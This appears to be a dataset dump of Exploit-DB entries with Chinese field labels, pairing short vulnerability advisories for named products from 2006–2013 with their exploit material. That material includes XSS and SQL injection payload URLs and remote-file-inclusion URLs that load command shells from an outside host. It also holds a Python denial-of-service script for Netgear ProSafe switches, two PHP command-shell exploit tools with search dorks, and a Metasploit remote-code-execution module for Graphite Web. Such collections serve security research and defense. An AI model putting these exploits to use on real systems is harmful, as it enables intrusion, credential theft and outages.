QLWD/code_shield huggingface dataset:
标题: W-Agora 4.2 - BBCode Script Injection EDB-ID: 27783 CVE: 2006-2228 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17751/info

W-Agora is prone to a script-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated content. 

W-Agora can be configured to send all user information in session data; if this is the case, then attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing an attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

This issue is reported to affect version 4.20; other versions may also be vulnerable.

[code]<b onMouseOver =eval(&#039;alert(/xss/)&#039;)>hi</b>[/code] URL: https://www.exploit-db.com/exploits/27783
标题: PlanetGallery - 'Gallery_admin.php' Authentication Bypass EDB-ID: 27784 CVE: 2006-2116 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17753/info

PlanetGallery is prone to an authentication-bypass vulnerability. The issue occurs because the affected script fails to prompt for authentication credentials. 

An attacker can exploit this issue to bypass authentication and gain admin access. This could aid in further attacks on the affected computer.

http://www.example.com/planetgallery/admin/gallery_admin.php URL: https://www.exploit-db.com/exploits/27784
标题: SunShop Shopping Cart 3.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27792 CVE: 2006-2124 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17770/info

SunShop Shopping Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?action=item&id=15&prevaction=[XSS]
http://www.example.com/index.php?action=item&id=15&prevaction=category&previd=[XSS]
http://www.example.com/index.php?action=item&id=15&prevaction=category&previd=2&prevstart=[XSS]
http://www.example.com/index.php?action=sendtofriend&type=item&itemid=[XSS]
http://www.example.com/index.php?action=item&id=[XSS]
http://www.example.com/index.php?action=[XSS] URL: https://www.exploit-db.com/exploits/27792
标题: DMCounter 0.9.2 -b - 'Kopf.php' Remote File Inclusion EDB-ID: 27785 CVE: 2006-2144 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17756/info

DMCounter is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue is reported to affect version 0.9.2-b; other versions may also be vulnerable.

http://www.example.com/dmcounter/kopf.php?rootdir=http://www.example2.com/phpshell.txt? URL: https://www.exploit-db.com/exploits/27785
标题: OrbitHYIP 2.0 - 'members.php?id' Cross-Site Scripting EDB-ID: 27789 CVE: 2006-2140 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17766/info
 
OrbitHYIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/members.php?login=r0t&p=pwd&func=useinvestplan&id=[XSS] URL: https://www.exploit-db.com/exploits/27789
标题: OrbitHYIP 2.0 - 'signup.php?referral' Cross-Site Scripting EDB-ID: 27788 CVE: 2006-2140 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17766/info

OrbitHYIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/signup.php?referral=[XSS] URL: https://www.exploit-db.com/exploits/27788
标题: 4Images 1.7.1 - 'member.php?sessionid' SQL Injection EDB-ID: 27781 CVE: 2006-2214 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17748/info
 
4Images is prone to multiple, unspecified SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/member.php?action=mailform&user_id=366&sessionid=[SQL] URL: https://www.exploit-db.com/exploits/27781
标题: MaxTrade 1.0.1 - Multiple SQL Injections EDB-ID: 27787 CVE: 2006-2126 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17765/info

MaxTrade is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/pocategories.php?stranica=categories&categori=[SQL]
http://www.example.com/pocategories.php?stranica=[SQL] URL: https://www.exploit-db.com/exploits/27787
标题: Artmedic Event - 'index.php' Remote File Inclusion EDB-ID: 27767 CVE: 2006-2119 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17736/info

Artmedic Event is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/event/index.php?page=evilcode.txt?&cmd=uname -a URL: https://www.exploit-db.com/exploits/27767
标题: LibTiff 3.x - TIFFFetchData Integer Overflow EDB-ID: 27764 CVE: 2006-2025 类型: DOS 平台: LINUX 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17732/info

Applications using the LibTIFF library are prone to an integer-overflow vulnerability.

An attacker could exploit this vulnerability to execute arbitrary code in the context of the vulnerable application that uses the affected library. Failed exploit attempts will likely cause denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27764.tiff.11 URL: https://www.exploit-db.com/exploits/27764
标题: Blog 0.2.3/0.2.4 Mod - 'Weblog_posting.php' SQL Injection EDB-ID: 27770 CVE: 2006-2127 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17744/info

Blog Mod is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/weblog_posting.php?mode=quote&r=[SQL]&w=1 URL: https://www.exploit-db.com/exploits/27770
标题: Linux Kernel 2.6.x - CIFS CHRoot Security Restriction Bypass EDB-ID: 27769 CVE: 2006-1863 类型: LOCAL 平台: LINUX 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17742/info

The Linux Kernel is prone to a vulnerability that allows attackers to bypass a security restriction. This issue is due to a failure in the kernel to properly sanitize user-supplied data.

The problem affects chroot inside of an SMB-mounted filesystem ('cifs'). A local attacker who is bounded by the chroot can exploit this issue to bypass the chroot restriction and gain unauthorized access to the filesystem.

root@server me]# pwd
/path/to/my/dir
[root@server me]# ls
bin chroot etc lib
[root@server me]# chroot .
bash-2.05a# pwd
/
bash-2.05a# ls
bin chroot etc lib
bash-2.05a# cd ..\bash-2.05a# pwd
/..bash-2.05a# ls
<list of files from parent> URL: https://www.exploit-db.com/exploits/27769
标题: Netgear ProSafe - Denial of Service EDB-ID: 27775 CVE: 2013-4776 类型: DOS 平台: HARDWARE 发布日期: 2013-08-22 漏洞利用脚本: #!/usr/bin/python

################################################################
#                                                              #
# Netgear ProSafe - CVE-2013-4776 PoC                          #
# written by Juan J. Guelfo @ Encripto AS                      #
# post@encripto.no                                             #
#                                                              #
# Copyright 2013 Encripto AS. All rights reserved.             #
#                                                              #
# This software is licensed under the FreeBSD license.         #
# http://www.encripto.no/tools/license.php                     #
#                                                              #
################################################################

import sys, getopt, urllib2
from subprocess import *


__version__ = "0.1"
__author__ = "Juan J. Guelfo, Encripto AS (post@encripto.no)"


# Prints title and other header info
def header():
    print ""
    print " ================================================================= "
    print "|  Netgear ProSafe - CVE-2013-4776 PoC \t\t\t\t  |".format(__version__)
    print "|  by {0}\t\t  |".format(__author__)
    print " ================================================================= "
    print ""

    
# Prints help    
def help():
    header()
    print """
   Usage: python CVE-2013-4776.py [mandatory options]

   Mandatory options:
       -t target               ...Target IP address
       -p port                 ...Port where the HTTP admin interface is listening on
        
   Example:
       python CVE-2013-4776.py -t 192.168.0.1 -p 80
    """
    sys.exit(0) 

    
if __name__ == '__main__':
    
    #Parse options
    try:
        options, args = getopt.getopt(sys.argv[1:], "t:p:", ["target=", "port="])

    except getopt.GetoptError, err:
        header()
        print "\n[-] Error: {0}.\n".format(str(err))
        sys.exit(1)
    
    if not options:
        help()
    
    target = None
    port = None
    for opt, arg in options:
        if opt in ("-t"):
            target = arg
        
        if opt in ("-p"):
            port = arg    
            
    #Option input validation
    if not target or not port:
        help()
        print "[-] Error: Incorrect syntax.\n"
        sys.exit(1)
    
    header()
    headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" }

    try:
        # Get the startup config via HTTP admin interface
        print "[+] Triggering DoS condition..."
        r = urllib2.Request('http://%s:%s/filesystem/' % (target, port), None, headers)
        urllib2.urlopen(r,"",5).read()
    
    except urllib2.URLError:
        print "[-] Error: The connection could not be established.\n"
        
    except:
        print "[+] The switch should be freaking out..."
        print "[+] Reboot the switch (unplug the power cord) to get it back to normal...\n"

    sys.exit(0) URL: https://www.exploit-db.com/exploits/27775
标题: LibTiff 3.x - Double-Free Memory Corruption EDB-ID: 27765 CVE: 2006-2026 类型: DOS 平台: LINUX 发布日期: 2008-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17733/info

Applications using the LibTIFF library are prone to a double-free vulnerability; a fix is available.

Attackers may be able to exploit this issue to cause denial-of-service conditions in affected applications using a vulnerable version of the library; arbitrary code execution may also be possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27765.tiff.2 URL: https://www.exploit-db.com/exploits/27765
标题: I-RATER Platinum - 'Config_settings.TPL.php' Remote File Inclusion EDB-ID: 27763 CVE: 2006-2121 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17731/info

I-RATER Platinum is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

<?php
/*
I-RATER Platinum Remote File Inclusion exploit Cod3d by R@1D3N
Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team
Site:http://www.Aria-security.net
Dork:"Powered by I-RATER PLATINUM"

example:
target:http://www.site.com/admin/config_settings.tpl.php?include_path=
cmdshell:http://www.own3r.com/cmd.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$cmdshell = $_POST["cmdshell"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."target:<br><input type=\"text\" name=\"target\" size=\"90\"
value=\"".$target."\"><br>"
     ."cmdshell:<br><input type=\"text\" name=\"cmdshell\" size=\"90\"
value=\"".$cmdshell."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$cmdshell, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?> URL: https://www.exploit-db.com/exploits/27763
标题: CoolMenus 4.0 - 'index.php' Remote File Inclusion EDB-ID: 27768 CVE: 2006-2122 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17738/info

CoolMenus is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This BID has been retired. The initial report included erroneous information about the application. Further information has been published indicating that the allegedly vulnerable code is not present in the application.

<?php
/*
CoolMenus Event Remote File Inclusion exploit Cod3d by R@1D3N
credit:Kurdish Security
Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team
Site:http://www.Aria-security.net
Dork:"/event/index.php?page="

example:
target:http://www.site.com/event/index.php?page=
cmdshell:http://www.own3r.com/cmd.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$cmdshell = $_POST["cmdshell"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."target:<br><input type=\"text\" name=\"target\" size=\"90\"
value=\"".$target."\"><br>"
     ."cmdshell:<br><input type=\"text\" name=\"cmdshell\" size=\"90\"
value=\"".$cmdshell."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$cmdshell, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?> URL: https://www.exploit-db.com/exploits/27768
标题: Linux Kernel 2.6.x - SMBFS CHRoot Security Restriction Bypass EDB-ID: 27766 CVE: 2006-1864 类型: LOCAL 平台: LINUX 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17735/info

The Linux Kernel is prone to a vulnerability that allows attackers to bypass a security restriction. This issue is due to a failure in the kernel to properly sanitize user-supplied data.

The problem affects chroot inside of an SMB-mounted filesystem ('smbfs'). A local attacker who is bounded by the chroot can exploit this issue to bypass the chroot restriction and gain unauthorized access to the filesystem.

root@server me]# pwd
/path/to/my/dir
[root@server me]# ls
bin chroot etc lib
[root@server me]# chroot .
bash-2.05a# pwd
/
bash-2.05a# ls
bin chroot etc lib
bash-2.05a# cd ..\bash-2.05a# pwd
/..bash-2.05a# ls
<list of files from parent> URL: https://www.exploit-db.com/exploits/27766
标题: magiciso 5.0 build 0166 - Directory Traversal EDB-ID: 27759 CVE: 2006-2100 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17725/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects MagicISO version 5.0 Build 0166; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin URL: https://www.exploit-db.com/exploits/27759
标题: NeoMail - 'NeoMail.pl?sessionid' Cross-Site Scripting EDB-ID: 27761 CVE: 2006-2138 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17728/info

NeoMail is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

A successful exploit of this issue may grant an attacker full access to a victim user's NeoMail account.

http://www.example.com:2095/user+site.com/neomail.pl?sessionid=<script>alert(document.cookie)</script><!-- URL: https://www.exploit-db.com/exploits/27761
标题: ezb systems ultraiso 8.0.1392 - Directory Traversal EDB-ID: 27758 CVE: 2006-2099 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17724/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects UltraISO version 8.0.0. 1392; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin URL: https://www.exploit-db.com/exploits/27758
标题: DUclassified - 'detail.asp' SQL Injection EDB-ID: 27757 CVE: 2006-2132 类型: WEBAPPS 平台: ASP 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17722/info

DUclassified is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/products/detail.asp?iPro=&#039; URL: https://www.exploit-db.com/exploits/27757
标题: Graphite Web - Unsafe Pickle Handling (Metasploit) EDB-ID: 27752 CVE: 2013-5093 类型: REMOTE 平台: UNIX 发布日期: 2013-08-21 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'       => 'Graphite Web Unsafe Pickle Handling',
      'Description'   => %q{
        This module exploits a remote code execution vulnerability in the pickle
        handling of the rendering code in the Graphite Web project between version
        0.9.5 and 0.9.10(both included).
      },
      'Author'     =>
        [
          'Charlie Eriksen' # Initial discovery and exploit
        ],
      'License'     => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2013-5093'],
          [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
        ],
      'Platform'      => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'    => false,
      'Targets'     => [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 20 2013',
      'DefaultTarget'  => 0,
      'Payload'     =>
        {
          'DisableNops' => true,
          'Space'      => 16384,
          'Compat'    =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'python generic telnet netcat perl ruby'
            }
        }))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
      ], self.class)

  end

  def check
    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })

    if response and response.code == 500
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

    print_status("Sending exploit payload...")

    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST',
      'data'    => data
    })
  end
end URL: https://www.exploit-db.com/exploits/27752